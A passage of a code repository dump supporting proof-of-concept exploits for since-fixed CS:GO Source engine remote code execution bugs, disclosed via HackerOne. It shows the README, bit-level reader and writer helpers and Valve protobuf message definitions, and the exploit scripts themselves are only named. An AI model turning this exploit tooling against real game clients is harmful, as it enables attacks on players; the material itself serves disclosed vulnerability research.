├── README.md ├── pocs ├── bitreader.py ├── bitwriter.py ├── cstrike15_gcmessages.proto ├── cstrike15_gcmessages_pb2.py ├── cstrike15_usermessages.proto ├── cstrike15_usermessages_pb2.py ├── engine_gcmessages.proto ├── engine_gcmessages_pb2.py ├── entity_exploit.py ├── exception.py ├── ice.py ├── netmessages.proto ├── netmessages_pb2.py ├── packetparser.py ├── splitscreen_exploit.py ├── steammessages.proto └── steammessages_pb2.py └── proxy ├── Cargo.toml ├── build.rs └── src ├── bitutils.rs ├── ice.rs ├── lzss.rs ├── main.rs ├── netmessages.proto ├── netmessages.rs └── packet.rs /README.md: -------------------------------------------------------------------------------- 1 | # Disclaimer 2 | This is part of the work that has been produced in about 6 weeks leading up to our reports on hackerone. 3 | The source engine shows its age through its code quality and our code is very much experimental. 4 | The POCs themselves show a very low quality of code as they were just made to prove the vulnerabilities. 5 | 6 | ## Proxy 7 | Rust proxy code used to intercept client & server messages, parse and display them. The source networking protocol is unfinished and no guarantees are made. 8 | Things like reliable channels (which are used in e.g. filetransfer) are still missing. 9 | However for CS:GO it is capable of parsing the first message in each packet from both client & server side packets just fine. 10 | 11 | ## POC 12 | Fixed by Valve on 2021-04-28. 13 | Both POCs share a lot of common code as the infoleak is reused between them. Main difference is in the last ~200 lines. 14 | - `splitscreen_exploit.py` 15 | This is the POC corresponding to the [blogpost](https://secret.club/2021/05/13/source-engine-rce-join.html). 16 | - `entity_exploit.py` the root-cause for this bug was already used by [Amat Cama](https://www.youtube.com/watch?v=bavJhv3EKbo) 17 | 18 | # Credits 19 | - [brymko](https://twitter.com/brymko) 20 | - [Simon Scannell](https://twitter.com/scannell_simon) 21 | - [dezk](https://twitter.com/cffsmith) 22 | -------------------------------------------------------------------------------- /pocs/bitreader.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | current_path = os.getcwd() 4 | parent_dir = os.path.normpath(os.path.join(current_path, "../..")) 5 | sys.path.append(parent_dir) 6 | from exception import Ex 7 | 8 | 9 | class BitReader: 10 | def __init__(self, data): 11 | self.data = data 12 | self.r = 0 13 | self.l = len(data) * 8 14 | 15 | def __str__(self): 16 | return (f"{[x for x in self.data]} {self.r} {self.l}") 17 | 18 | def num_bits_read(self): 19 | return self.r 20 | 21 | def read_var_int32(self): 22 | b = 0 23 | res = 0 24 | 25 | for i in range(0, 4): 26 | b = self.read_ubit_long(8) 27 | res |= (b & 0x7f) << (7 * i) 28 | 29 | if (b & 0x80) == 0: 30 | break 31 | 32 | return res 33 | 34 | def read_string(self): 35 | s = "" 36 | 37 | while True: 38 | c = self.read_ubit_long(8) 39 | if c == 0 or c == 0xa: 40 | break 41 | s += chr(c) 42 | 43 | return s 44 | 45 | def read_bytes(self, size): 46 | if self.l < size * 8: 47 | # print(f"self.l < size * 8 :: {self.l} < {size} * 8") 48 | # raise Ex("self.l < size * 8") 49 | size = self.l // 8 50 | 51 | res = bytes(0) 52 | for _ in range(size): 53 | c = self.read_ubit_long(8) 54 | res += bytes([c]) 55 | 56 | return res 57 | 58 | def read_byte(self): 59 | return bytes([self.read_ubit_long(8)]) 60 | 61 | def num_bits_left(self): 62 | return self.l 63 | 64 | def read_one_bit(self): 65 | cur_idx = self.r // 8 66 | if self.l < 1: 67 | # fix for peek from stuff 68 | self.r += 1 69 | self.l -= 1 70 | return 0 71 | 72 | b = self.data[cur_idx] 73 | ret = (b >> (self.r % 8)) & 1 74 | self.r += 1 75 | self.l -= 1 76 | 77 | return ret 78 | 79 | def read_ubit_long(self, bits): 80 | ret = 0 81 | for i in range(bits): 82 | ret |= (self.read_one_bit() << i) 83 | 84 | return ret 85 | 86 | def peek_byte(self): 87 | val = self.read_byte() 88 | self.l += 8 89 | self.r -= 8 90 | return val 91 | 92 | def peek_long(self): 93 | val = self.read_long() 94 | self.l += 32 95 | self.r -= 32 96 | return val 97 | 98 | def read_long(self): 99 | if self.l < 32: 100 | # print(Ex("self.l < 32")) 101 | return 0 102 | 103 | val = self.read_ubit_long(32) 104 | if val & (1 << 31): 105 | val = val - (1 << 32) 106 | return val 107 | 108 | def finish_to_string(self): 109 | res = b"" 110 | while self.l > 0: 111 | res += self.read_byte() 112 | return res 113 | 114 | def peek_to_string(self): 115 | res = self.finish_to_string() 116 | self.r -= len(res) * 8 117 | self.l += len(res) * 8 118 | return res 119 | 120 | def print_left(self): 121 | print(f"{[x for x in self.peek_to_string()]}") 122 | -------------------------------------------------------------------------------- /pocs/bitwriter.py: -------------------------------------------------------------------------------- 1 | class BitWriter: 2 | 3 | def __init__(self): 4 | self.data = [] 5 | self.w = 0 6 | 7 | def push_to_data(self, u8): 8 | data_bytes = u8 9 | if isinstance(u8, str): 10 | data_bytes = ord(u8) 11 | assert(isinstance(data_bytes, int) and data_bytes <= 0xff) 12 | self.data.append(data_bytes) 13 | 14 | 15 | def finish(self): 16 | return bytes(self.data) 17 | 18 | def write_byte(self, byte): 19 | bits_used = self.w & 7 20 | if bits_used == 0: 21 | self.push_to_data(byte) 22 | else: 23 | last = self.data[-1] 24 | free = 8 - bits_used 25 | 26 | # python has no concept of a u8 so limit it to the first 8 bits 27 | last |= ((byte << bits_used)) 28 | last &= 255 29 | self.data[-1] = last 30 | self.push_to_data(byte >> free) 31 | 32 | self.w += 8 33 | 34 | def write_str(self, string): 35 | for c in string: 36 | self.write_byte(ord(c)) 37 | self.write_byte(0) 38 | 39 | def write_char(self, char): 40 | self.write_byte(ord(char)) 41 | 42 | def write_bit(self, bit): 43 | bits_used = self.w & 7 44 | if bits_used == 0: 45 | self.push_to_data(bit & 1) 46 | else: 47 | last = self.data[-1] 48 | last |= ((bit & 1) << bits_used) 49 | last &= 255 50 | self.data[-1] = last 51 | 52 | self.w += 1 53 | 54 | 55 | def write_bits(self, nbits, bits): 56 | for i in range(nbits): 57 | self.write_bit(bits >> i) 58 | 59 | 60 | 61 | 62 | 63 | 64 | -------------------------------------------------------------------------------- /pocs/cstrike15_usermessages.proto: -------------------------------------------------------------------------------- 1 | //====== Copyright (c) 2013, Valve Corporation, All rights reserved. ========// 2 | // 3 | // Redistribution and use in source and binary forms, with or without 4 | // modification, are permitted provided that the following conditions are met: 5 | // 6 | // Redistributions of source code must retain the above copyright notice, this 7 | // list of conditions and the following disclaimer. 8 | // Redistributions in binary form must reproduce the above copyright notice, 9 | // this list of conditions and the following disclaimer in the documentation 10 | // and/or other materials provided with the distribution. 11 | // 12 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 13 | // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 14 | // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 15 | // ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE 16 | // LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 17 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 18 | // SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 19 | // INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 20 | // CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 21 | // ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF 22 | // THE POSSIBILITY OF SUCH DAMAGE. 23 | //===========================================================================// 24 | // 25 | // Purpose: The file defines our Google Protocol Buffers which are used in over 26 | // the wire messages for the Source engine. 27 | // 28 | //============================================================================= 29 | 30 | // We care more about speed than code size 31 | option optimize_for = SPEED; 32 | 33 | // We don't use the service generation functionality 34 | option cc_generic_services = false; 35 | 36 | 37 | // 38 | // STYLE NOTES: 39 | // 40 | // Use CamelCase CMsgMyMessageName style names for messages. 41 | // 42 | // Use lowercase _ delimited names like my_steam_id for field names, this is non-standard for Steam, 43 | // but plays nice with the Google formatted code generation. 44 | // 45 | // Try not to use required fields ever. Only do so if you are really really sure you'll never want them removed. 46 | // Optional should be preffered as it will make versioning easier and cleaner in the future if someone refactors 47 | // your message and wants to remove or rename fields. 48 | // 49 | // Use fixed64 for JobId_t, GID_t, or SteamID. This is appropriate for any field that is normally 50 | // going to be larger than 2^56. Otherwise use int64 for 64 bit values that are frequently smaller 51 | // than 2^56 as it will safe space on the wire in those cases. 52 | // 53 | // Similar to fixed64, use fixed32 for RTime32 or other 32 bit values that are frequently larger than 54 | // 2^28. It will safe space in those cases, otherwise use int32 which will safe space for smaller values. 55 | // An exception to this rule for RTime32 is if the value will frequently be zero rather than set to an actual 56 | // time. 57 | // 58 | 59 | import "google/protobuf/descriptor.proto"; 60 | 61 | // for CMsgVector, etc. 62 | import "netmessages.proto"; 63 | import "cstrike15_gcmessages.proto"; 64 | 65 | //============================================================================= 66 | // CStrike15 User Messages 67 | //============================================================================= 68 | 69 | enum ECstrike15UserMessages 70 | { 71 | CS_UM_VGUIMenu = 1; 72 | CS_UM_Geiger = 2; 73 | CS_UM_Train = 3; 74 | CS_UM_HudText = 4; 75 | CS_UM_SayText = 5; 76 | CS_UM_SayText2 = 6; 77 | CS_UM_TextMsg = 7; 78 | CS_UM_HudMsg = 8; 79 | CS_UM_ResetHud = 9; 80 | CS_UM_GameTitle = 10; 81 | CS_UM_Shake = 12; 82 | CS_UM_Fade = 13; // fade HUD in/out 83 | CS_UM_Rumble = 14; 84 | CS_UM_CloseCaption = 15; 85 | CS_UM_CloseCaptionDirect = 16; 86 | CS_UM_SendAudio = 17; 87 | CS_UM_RawAudio = 18; 88 | CS_UM_VoiceMask = 19; 89 | CS_UM_RequestState = 20; 90 | CS_UM_Damage = 21; 91 | CS_UM_RadioText = 22; 92 | CS_UM_HintText = 23; 93 | CS_UM_KeyHintText = 24; 94 | CS_UM_ProcessSpottedEntityUpdate = 25; 95 | CS_UM_ReloadEffect = 26; 96 | CS_UM_AdjustMoney = 27; 97 | CS_UM_UpdateTeamMoney = 28; 98 | CS_UM_StopSpectatorMode = 29; 99 | CS_UM_KillCam = 30; 100 | CS_UM_DesiredTimescale = 31; 101 | CS_UM_CurrentTimescale = 32; 102 | CS_UM_AchievementEvent = 33; 103 | CS_UM_MatchEndConditions = 34; 104 | CS_UM_DisconnectToLobby = 35; 105 | CS_UM_PlayerStatsUpdate = 36; 106 | CS_UM_DisplayInventory = 37; 107 | CS_UM_WarmupHasEnded = 38; 108 | CS_UM_ClientInfo = 39; 109 | CS_UM_XRankGet = 40; // Get ELO Rank Value from Client 110 | CS_UM_XRankUpd = 41; // Update ELO Rank Value on Client 111 | CS_UM_CallVoteFailed = 45; 112 | CS_UM_VoteStart = 46; 113 | CS_UM_VotePass = 47; 114 | CS_UM_VoteFailed = 48; 115 | CS_UM_VoteSetup = 49; 116 | CS_UM_ServerRankRevealAll = 50; 117 | CS_UM_SendLastKillerDamageToClient = 51; 118 | CS_UM_ServerRankUpdate = 52; 119 | CS_UM_ItemPickup = 53; 120 | CS_UM_ShowMenu = 54; // show hud menu 121 | CS_UM_BarTime = 55; // For the C4 progress bar. 122 | CS_UM_AmmoDenied = 56; 123 | CS_UM_MarkAchievement = 57; 124 | CS_UM_MatchStatsUpdate = 58; 125 | CS_UM_ItemDrop = 59; 126 | CS_UM_GlowPropTurnOff = 60; 127 | CS_UM_SendPlayerItemDrops = 61; 128 | CS_UM_RoundBackupFilenames = 62; 129 | CS_UM_SendPlayerItemFound = 63; 130 | CS_UM_ReportHit = 64; 131 | CS_UM_XpUpdate = 65; 132 | CS_UM_QuestProgress = 66; // Send notification to user when quest progress was made. 133 | CS_UM_ScoreLeaderboardData = 67; // Game server broadcasting match end scoreboard and leaderboard data 134 | CS_UM_PlayerDecalDigitalSignature = 68; // Game server can ask client to provide a digital signature for decal data 135 | } 136 | 137 | //============================================================================= 138 | 139 | 140 | message CCSUsrMsg_VGUIMenu 141 | { 142 | optional string name = 1; 143 | optional bool show = 2; 144 | 145 | message Subkey 146 | { 147 | optional string name = 1; 148 | optional string str = 2; 149 | } 150 | 151 | repeated Subkey subkeys = 3; 152 | } 153 | 154 | message CCSUsrMsg_Geiger 155 | { 156 | optional int32 range = 1; 157 | } 158 | 159 | message CCSUsrMsg_Train 160 | { 161 | optional int32 train = 1; 162 | } 163 | 164 | message CCSUsrMsg_HudText 165 | { 166 | optional string text = 1; 167 | } 168 | 169 | message CCSUsrMsg_SayText 170 | { 171 | optional int32 ent_idx = 1; 172 | optional string text = 2; 173 | optional bool chat = 3; 174 | optional bool textallchat = 4; 175 | } 176 | 177 | message CCSUsrMsg_SayText2 178 | { 179 | optional int32 ent_idx = 1; 180 | optional bool chat = 2; 181 | optional string msg_name = 3; 182 | repeated string params = 4; 183 | optional bool textallchat = 5; 184 | } 185 | 186 | message CCSUsrMsg_TextMsg 187 | { 188 | optional int32 msg_dst = 1; 189 | repeated string params = 3; 190 | } 191 | 192 | message CCSUsrMsg_HudMsg 193 | { 194 | optional int32 channel = 1; 195 | optional CMsgVector2D pos = 2; 196 | optional CMsgRGBA clr1 = 3; 197 | optional CMsgRGBA clr2 = 4; 198 | optional int32 effect = 5; 199 | optional float fade_in_time = 6; 200 | optional float fade_out_time = 7; 201 | optional float hold_time = 9; 202 | optional float fx_time = 10; 203 | optional string text = 11; 204 | } 205 | 206 | message CCSUsrMsg_Shake 207 | { 208 | optional int32 command = 1; 209 | optional float local_amplitude = 2; 210 | optional float frequency = 3; 211 | optional float duration = 4; 212 | } 213 | 214 | message CCSUsrMsg_Fade 215 | { 216 | optional int32 duration = 1; 217 | optional int32 hold_time = 2; 218 | optional int32 flags = 3; // fade type (in / out) 219 | optional CMsgRGBA clr = 4; 220 | } 221 | 222 | message CCSUsrMsg_Rumble 223 | { 224 | optional int32 index = 1; 225 | optional int32 data = 2; 226 | optional int32 flags = 3; 227 | } 228 | 229 | message CCSUsrMsg_CloseCaption 230 | { 231 | optional uint32 hash = 1; 232 | optional int32 duration = 2; 233 | optional bool from_player = 3; 234 | } 235 | 236 | message CCSUsrMsg_CloseCaptionDirect 237 | { 238 | optional uint32 hash = 1; 239 | optional int32 duration = 2; 240 | optional bool from_player = 3; 241 | } 242 | 243 | message CCSUsrMsg_SendAudio 244 | { 245 | optional string radio_sound = 1; 246 | } 247 | 248 | message CCSUsrMsg_RawAudio 249 | { 250 | optional int32 pitch = 1; 251 | optional int32 entidx = 2; 252 | optional float duration = 3; 253 | optional string voice_filename = 4; 254 | } 255 | 256 | message CCSUsrMsg_VoiceMask 257 | { 258 | message PlayerMask 259 | { 260 | optional int32 game_rules_mask = 1; 261 | optional int32 ban_masks = 2; 262 | } 263 | 264 | repeated PlayerMask player_masks = 1; 265 | optional bool player_mod_enable = 2; 266 | } 267 | 268 | message CCSUsrMsg_Damage 269 | { 270 | optional int32 amount = 1; 271 | optional CMsgVector inflictor_world_pos = 2; 272 | optional int32 victim_entindex = 3; 273 | } 274 | 275 | message CCSUsrMsg_RadioText 276 | { 277 | optional int32 msg_dst = 1; 278 | optional int32 client = 2; 279 | optional string msg_name = 3; 280 | repeated string params = 4; 281 | } 282 | 283 | message CCSUsrMsg_HintText 284 | { 285 | optional string text = 1; 286 | } 287 | 288 | message CCSUsrMsg_KeyHintText 289 | { 290 | repeated string hints = 1; 291 | } 292 | 293 | // gurjeets - Message below is slightly bigger in size than the non-protobuf version, 294 | // by around 8 bits. 295 | message CCSUsrMsg_ProcessSpottedEntityUpdate 296 | { 297 | optional bool new_update = 1; 298 | 299 | message SpottedEntityUpdate 300 | { 301 | optional int32 entity_idx = 1; 302 | optional int32 class_id = 2; 303 | optional int32 origin_x = 3; 304 | optional int32 origin_y = 4; 305 | optional int32 origin_z = 5; 306 | optional int32 angle_y = 6; 307 | optional bool defuser = 7; 308 | optional bool player_has_defuser = 8; 309 | optional bool player_has_c4 = 9; 310 | } 311 | 312 | repeated SpottedEntityUpdate entity_updates = 2; 313 | } 314 | 315 | message CCSUsrMsg_SendPlayerItemDrops 316 | { 317 | repeated CEconItemPreviewDataBlock entity_updates = 1; 318 | } 319 | 320 | message CCSUsrMsg_SendPlayerItemFound 321 | { 322 | optional CEconItemPreviewDataBlock iteminfo = 1; 323 | optional int32 entindex = 2; 324 | } 325 | 326 | message CCSUsrMsg_ReloadEffect 327 | { 328 | optional int32 entidx = 1; 329 | optional int32 actanim = 2; 330 | optional float origin_x = 3; 331 | optional float origin_y = 4; 332 | optional float origin_z = 5; 333 | } 334 | 335 | message CCSUsrMsg_AdjustMoney 336 | { 337 | optional int32 amount = 1; 338 | } 339 | 340 | // This code allowed us to measure discrepency between client and server bullet hits. 341 | // It became obsolete when we started using a separate seed for client and server 342 | // to eliminate 'rage' hacks. 343 | // 344 | message CCSUsrMsg_ReportHit 345 | { 346 | optional float pos_x = 1; 347 | optional float pos_y = 2; 348 | optional float timestamp = 4; 349 | optional float pos_z = 3; 350 | } 351 | 352 | 353 | message CCSUsrMsg_KillCam 354 | { 355 | optional int32 obs_mode = 1; 356 | optional int32 first_target = 2; 357 | optional int32 second_target = 3; 358 | } 359 | 360 | message CCSUsrMsg_DesiredTimescale 361 | { 362 | optional float desired_timescale = 1; 363 | optional float duration_realtime_sec = 2; 364 | optional int32 interpolator_type = 3; 365 | optional float start_blend_time = 4; 366 | } 367 | 368 | message CCSUsrMsg_CurrentTimescale 369 | { 370 | optional float cur_timescale = 1; 371 | } 372 | 373 | message CCSUsrMsg_AchievementEvent 374 | { 375 | optional int32 achievement = 1; 376 | optional int32 count = 2; 377 | optional int32 user_id = 3; 378 | } 379 | 380 | 381 | message CCSUsrMsg_MatchEndConditions 382 | { 383 | optional int32 fraglimit = 1; 384 | optional int32 mp_maxrounds = 2; 385 | optional int32 mp_winlimit = 3; 386 | optional int32 mp_timelimit = 4; 387 | } 388 | 389 | message CCSUsrMsg_PlayerStatsUpdate 390 | { 391 | optional int32 version = 1; 392 | 393 | message Stat 394 | { 395 | optional int32 idx = 1; 396 | optional int32 delta = 2; 397 | } 398 | 399 | repeated Stat stats = 4; 400 | optional int32 user_id = 5; 401 | optional int32 crc = 6; 402 | } 403 | 404 | message CCSUsrMsg_DisplayInventory 405 | { 406 | optional bool display = 1; 407 | optional int32 user_id = 2; 408 | } 409 | 410 | message CCSUsrMsg_QuestProgress 411 | { 412 | optional uint32 quest_id = 1; 413 | optional uint32 normal_points = 2; 414 | optional uint32 bonus_points = 3; 415 | optional bool is_event_quest = 4; 416 | } 417 | 418 | message CCSUsrMsg_ScoreLeaderboardData 419 | { 420 | optional ScoreLeaderboardData data = 1; 421 | } 422 | 423 | message CCSUsrMsg_PlayerDecalDigitalSignature 424 | { 425 | optional PlayerDecalDigitalSignature data = 1; 426 | } 427 | 428 | message CCSUsrMsg_XRankGet 429 | { 430 | optional int32 mode_idx = 1; 431 | optional int32 controller = 2; 432 | } 433 | 434 | message CCSUsrMsg_XRankUpd 435 | { 436 | optional int32 mode_idx = 1; 437 | optional int32 controller = 2; 438 | optional int32 ranking = 3; 439 | } 440 | 441 | message CCSUsrMsg_CallVoteFailed 442 | { 443 | optional int32 reason = 1; 444 | optional int32 time = 2; 445 | } 446 | 447 | message CCSUsrMsg_VoteStart 448 | { 449 | optional int32 team = 1; 450 | optional int32 ent_idx = 2; 451 | optional int32 vote_type = 3; 452 | optional string disp_str = 4; 453 | optional string details_str = 5; 454 | optional string other_team_str = 6; 455 | optional bool is_yes_no_vote = 7; 456 | 457 | } 458 | 459 | message CCSUsrMsg_VotePass 460 | { 461 | optional int32 team = 1; 462 | optional int32 vote_type = 2; 463 | optional string disp_str= 3; 464 | optional string details_str = 4; 465 | } 466 | 467 | message CCSUsrMsg_VoteFailed 468 | { 469 | optional int32 team = 1; 470 | optional int32 reason = 2; 471 | } 472 | 473 | message CCSUsrMsg_VoteSetup 474 | { 475 | repeated string potential_issues = 1; 476 | } 477 | 478 | message CCSUsrMsg_SendLastKillerDamageToClient 479 | { 480 | optional int32 num_hits_given = 1; 481 | optional int32 damage_given = 2; 482 | optional int32 num_hits_taken = 3; 483 | optional int32 damage_taken = 4; 484 | } 485 | 486 | message CCSUsrMsg_ServerRankUpdate 487 | { 488 | message RankUpdate 489 | { 490 | optional int32 account_id = 1; 491 | optional int32 rank_old = 2; 492 | optional int32 rank_new = 3; 493 | optional int32 num_wins = 4; 494 | optional float rank_change = 5; 495 | } 496 | 497 | repeated RankUpdate rank_update = 1; 498 | } 499 | 500 | message CCSUsrMsg_XpUpdate 501 | { 502 | optional CMsgGCCstrike15_v2_GC2ServerNotifyXPRewarded data = 1; 503 | } 504 | 505 | 506 | message CCSUsrMsg_ItemPickup 507 | { 508 | optional string item = 1; 509 | } 510 | 511 | message CCSUsrMsg_ShowMenu 512 | { 513 | optional int32 bits_valid_slots = 1; 514 | optional int32 display_time = 2; 515 | optional string menu_string = 3; 516 | } 517 | 518 | message CCSUsrMsg_BarTime 519 | { 520 | optional string time = 1; 521 | } 522 | 523 | message CCSUsrMsg_AmmoDenied 524 | { 525 | optional int32 ammoIdx = 1; 526 | } 527 | 528 | message CCSUsrMsg_MarkAchievement 529 | { 530 | optional string achievement = 1; 531 | } 532 | 533 | message CCSUsrMsg_MatchStatsUpdate 534 | { 535 | optional string update = 1; 536 | } 537 | 538 | message CCSUsrMsg_ItemDrop 539 | { 540 | optional int64 itemid = 1; 541 | optional bool death = 2; 542 | } 543 | 544 | message CCSUsrMsg_GlowPropTurnOff 545 | { 546 | optional int32 entidx = 1; 547 | } 548 | 549 | message CCSUsrMsg_RoundBackupFilenames 550 | { 551 | optional int32 count = 1; 552 | optional int32 index = 2; 553 | optional string filename = 3; 554 | optional string nicename = 4; 555 | } 556 | 557 | 558 | 559 | //============================================================================= 560 | // Messages where the data seems to be irrelevant 561 | //============================================================================= 562 | 563 | message CCSUsrMsg_ResetHud 564 | { 565 | optional bool reset = 1; 566 | } 567 | 568 | message CCSUsrMsg_GameTitle 569 | { 570 | optional int32 dummy = 1; 571 | } 572 | 573 | message CCSUsrMsg_RequestState 574 | { 575 | optional int32 dummy = 1; 576 | } 577 | 578 | message CCSUsrMsg_StopSpectatorMode 579 | { 580 | optional int32 dummy = 1; 581 | } 582 | 583 | message CCSUsrMsg_DisconnectToLobby 584 | { 585 | optional int32 dummy = 1; 586 | } 587 | 588 | message CCSUsrMsg_WarmupHasEnded 589 | { 590 | optional int32 dummy = 1; 591 | } 592 | 593 | message CCSUsrMsg_ClientInfo 594 | { 595 | optional int32 dummy = 1; 596 | } 597 | 598 | message CCSUsrMsg_ServerRankRevealAll 599 | { 600 | optional int32 seconds_till_shutdown = 1; 601 | } 602 | -------------------------------------------------------------------------------- /pocs/engine_gcmessages.proto: -------------------------------------------------------------------------------- 1 | //====== Copyright (c) 2016, Valve Corporation, All rights reserved. ========// 2 | // 3 | // Redistribution and use in source and binary forms, with or without 4 | // modification, are permitted provided that the following conditions are met: 5 | // 6 | // Redistributions of source code must retain the above copyright notice, this 7 | // list of conditions and the following disclaimer. 8 | // Redistributions in binary form must reproduce the above copyright notice, 9 | // this list of conditions and the following disclaimer in the documentation 10 | // and/or other materials provided with the distribution. 11 | // 12 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 13 | // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 14 | // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 15 | // ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE 16 | // LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 17 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 18 | // SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 19 | // INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 20 | // CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 21 | // ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF 22 | // THE POSSIBILITY OF SUCH DAMAGE. 23 | //===========================================================================// 24 | // 25 | // Purpose: The file defines our Google Protocol Buffers which are used in over 26 | // the wire messages for the Source engine. 27 | // 28 | //============================================================================= 29 | 30 | // Note about encoding: 31 | // http://code.google.com/apis/protocolbuffers/docs/encoding.html 32 | // 33 | // TL;DR: Use sint32/sint64 for values that may be negative. 34 | // 35 | // There is an important difference between the signed int types (sint32 and sint64) 36 | // and the "standard" int types (int32 and int64) when it comes to encoding negative 37 | // numbers. If you use int32 or int64 as the type for a negative number, the 38 | // resulting varint is always ten bytes long � it is, effectively, treated like a 39 | // very large unsigned integer. If you use one of the signed types, the resulting 40 | // varint uses ZigZag encoding, which is much more efficient. 41 | 42 | 43 | // Commenting this out allows it to be compiled for SPEED or LITE_RUNTIME. 44 | // option optimize_for = SPEED; 45 | 46 | // We don't use the service generation functionality 47 | option cc_generic_services = false; 48 | 49 | 50 | // 51 | // STYLE NOTES: 52 | // 53 | // Use CamelCase CMsgMyMessageName style names for messages. 54 | // 55 | // Use lowercase _ delimited names like my_steam_id for field names, this is non-standard for Steam, 56 | // but plays nice with the Google formatted code generation. 57 | // 58 | // Try not to use required fields ever. Only do so if you are really really sure you'll never want them removed. 59 | // Optional should be preffered as it will make versioning easier and cleaner in the future if someone refactors 60 | // your message and wants to remove or rename fields. 61 | // 62 | // Use fixed64 for JobId_t, GID_t, or SteamID. This is appropriate for any field that is normally 63 | // going to be larger than 2^56. Otherwise use int64 for 64 bit values that are frequently smaller 64 | // than 2^56 as it will safe space on the wire in those cases. 65 | // 66 | // Similar to fixed64, use fixed32 for RTime32 or other 32 bit values that are frequently larger than 67 | // 2^28. It will safe space in those cases, otherwise use int32 which will safe space for smaller values. 68 | // An exception to this rule for RTime32 is if the value will frequently be zero rather than set to an actual 69 | // time. 70 | // 71 | 72 | import "google/protobuf/descriptor.proto"; 73 | 74 | message CEngineGotvSyncPacket 75 | { 76 | optional uint64 match_id = 1; // Unique Match ID 77 | optional uint32 instance_id = 2; // GoTV instance ID 78 | optional uint32 signupfragment = 3; // Numeric value index of signup fragment 79 | optional uint32 currentfragment = 4; // Numeric value index of current fragment 80 | optional float tickrate = 5; // number of ticks per second on server 81 | optional uint32 tick = 6; // Start Tick of the current fragment 82 | optional float rtdelay = 8; // delay of this fragment from real-time, seconds 83 | optional float rcvage = 9; // Receive age: how many seconds since relay last received data from game server 84 | optional float keyframe_interval = 10; // the interval between full keyframes, in seconds 85 | }; 86 | 87 | 88 | // Do not remove this comment due to a bug on the Mac OS X protobuf compiler - integrated from Dota 89 | -------------------------------------------------------------------------------- /pocs/engine_gcmessages_pb2.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Generated by the protocol buffer compiler. DO NOT EDIT! 3 | # source: engine_gcmessages.proto 4 | 5 | from google.protobuf import descriptor as _descriptor 6 | from google.protobuf import message as _message 7 | from google.protobuf import reflection as _reflection 8 | from google.protobuf import symbol_database as _symbol_database 9 | # @@protoc_insertion_point(imports) 10 | 11 | _sym_db = _symbol_database.Default() 12 | 13 | 14 | from google.protobuf import descriptor_pb2 as google_dot_protobuf_dot_descriptor__pb2 15 | 16 | 17 | DESCRIPTOR = _descriptor.FileDescriptor( 18 | name='engine_gcmessages.proto', 19 | package='', 20 | syntax='proto2', 21 | serialized_options=b'\200\001\000', 22 | create_key=_descriptor._internal_create_key, 23 | serialized_pb=b'\n\x17\x65ngine_gcmessages.proto\x1a google/protobuf/descriptor.proto\"\xcb\x01\n\x15\x43\x45ngineGotvSyncPacket\x12\x10\n\x08match_id\x18\x01 \x01(\x04\x12\x13\n\x0binstance_id\x18\x02 \x01(\r\x12\x16\n\x0esignupfragment\x18\x03 \x01(\r\x12\x17\n\x0f\x63urrentfragment\x18\x04 \x01(\r\x12\x10\n\x08tickrate\x18\x05 \x01(\x02\x12\x0c\n\x04tick\x18\x06 \x01(\r\x12\x0f\n\x07rtdelay\x18\x08 \x01(\x02\x12\x0e\n\x06rcvage\x18\t \x01(\x02\x12\x19\n\x11keyframe_interval\x18\n \x01(\x02\x42\x03\x80\x01\x00' 24 | , 25 | dependencies=[google_dot_protobuf_dot_descriptor__pb2.DESCRIPTOR,]) 26 | 27 | 28 | 29 | 30 | _CENGINEGOTVSYNCPACKET = _descriptor.Descriptor( 31 | name='CEngineGotvSyncPacket', 32 | full_name='CEngineGotvSyncPacket', 33 | filename=None, 34 | file=DESCRIPTOR, 35 | containing_type=None, 36 | create_key=_descriptor._internal_create_key, 37 | fields=[ 38 | _descriptor.FieldDescriptor( 39 | name='match_id', full_name='CEngineGotvSyncPacket.match_id', index=0, 40 | number=1, type=4, cpp_type=4, label=1, 41 | has_default_value=False, default_value=0, 42 | message_type=None, enum_type=None, containing_type=None, 43 | is_extension=False, extension_scope=None, 44 | serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), 45 | _descriptor.FieldDescriptor( 46 | name='instance_id', full_name='CEngineGotvSyncPacket.instance_id', index=1, 47 | number=2, type=13, cpp_type=3, label=1, 48 | has_default_value=False, default_value=0, 49 | message_type=None, enum_type=None, containing_type=None, 50 | is_extension=False, extension_scope=None, 51 | serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), 52 | _descriptor.FieldDescriptor( 53 | name='signupfragment', full_name='CEngineGotvSyncPacket.signupfragment', index=2, 54 